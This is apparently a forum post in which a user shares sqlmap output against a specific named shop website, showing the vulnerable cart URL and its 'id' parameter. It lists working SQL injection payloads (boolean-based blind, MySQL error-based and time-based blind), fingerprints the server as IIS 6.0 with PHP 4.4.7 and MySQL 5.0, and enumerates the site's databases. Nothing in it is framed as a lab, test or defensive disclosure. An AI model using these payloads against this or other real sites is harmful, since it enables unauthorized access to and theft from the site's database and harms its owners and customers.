Keine Antworten in diesem Thema

[Ch!ller]

http://www.uk-bund.de/cart.php?id=514&menge=1&sizeadd=8

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=514 AND 7758=7758&menge=1&sizeadd=8

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=514 AND (SELECT 4385 FROM(SELECT COUNT(*),CONCAT(0x7170767871,(SELECT (CASE WHEN (4385=4385) THEN 1 ELSE 0 END)),0x7178767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&menge=1&sizeadd=8

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=514 AND SLEEP(5)&menge=1&sizeadd=8
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 4.4.7
back-end DBMS: MySQL 5.0
available databases [3]:
[*] drees_ukb1
[*] information_schema
[*] test